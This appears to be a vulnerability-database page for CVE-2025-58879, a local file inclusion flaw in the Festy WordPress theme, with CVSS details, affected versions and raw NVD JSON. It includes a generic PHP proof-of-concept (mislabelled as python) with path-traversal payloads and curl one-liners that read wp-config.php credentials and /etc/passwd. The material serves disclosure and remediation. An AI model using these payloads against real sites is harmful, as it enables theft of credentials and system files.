Security Vulnerability Report
中文
CVE-2025-58879 CVSS 8.1 HIGH

CVE-2025-58879

Published: 2025-12-18 08:15:58
Last Modified: 2026-04-27 19:16:15

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Festy festy allows PHP Local File Inclusion.This issue affects Festy: from n/a through <= 1.13.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ancorathemes:festy:*:*:*:*:*:wordpress:*:* - VULNERABLE
Festy <= 1.13.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58879 PoC - Festy Theme Local File Inclusion * Affected: Festy WordPress Theme <= 1.13.0 * CVSS: 8.1 (High) * Author: Generated for security research */ // Example 1: Basic LFI to read wp-config.php $target_url = 'http://target-site.com/'; $vulnerable_param = 'file'; // Common parameter name, actual param may vary // Read wp-config.php (contains database credentials) $payload = '../../wp-config.php'; $exploit_url = $target_url . '?' . $vulnerable_param . '=' . urlencode($payload); echo "[*] Attempting to read wp-config.php...\n"; echo "[*] URL: " . $exploit_url . "\n\n"; // Example 2: Read /etc/passwd $payload2 = '../../../../../../etc/passwd'; $exploit_url2 = $target_url . '?' . $vulnerable_param . '=' . urlencode($payload2); echo "[*] Attempting to read /etc/passwd...\n"; echo "[*] URL: " . $exploit_url2 . "\n\n"; // Example 3: Null byte injection (older PHP versions) $payload3 = '../../wp-config.php%00'; $exploit_url3 = $target_url . '?' . $vulnerable_param . '=' . urlencode($payload3); echo "[*] Attempting null byte injection...\n"; echo "[*] URL: " . $exploit_url3 . "\n\n"; // cURL example for manual testing: // curl -s 'http://target-site.com/?file=../../wp-config.php' // curl -s 'http://target-site.com/?file=../../../../etc/passwd' /** * Remediation: * 1. Upgrade to Festy > 1.13.0 (if available) * 2. Implement input validation with whitelist approach * 3. Use basename() and realpath() for path sanitization * 4. Disable allow_url_include in php.ini */ ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58879", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:57.650", "lastModified": "2026-04-27T19:16:15.370", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Festy festy allows PHP Local File Inclusion.This issue affects Festy: from n/a through <= 1.13.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ancorathemes:festy:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.13.0", "matchCriteriaId": "C07116E8-AAB1-4DA7-9117-72CF76AEBF7B"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/festy/vulnerability/wordpress-festy-theme-1-13-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}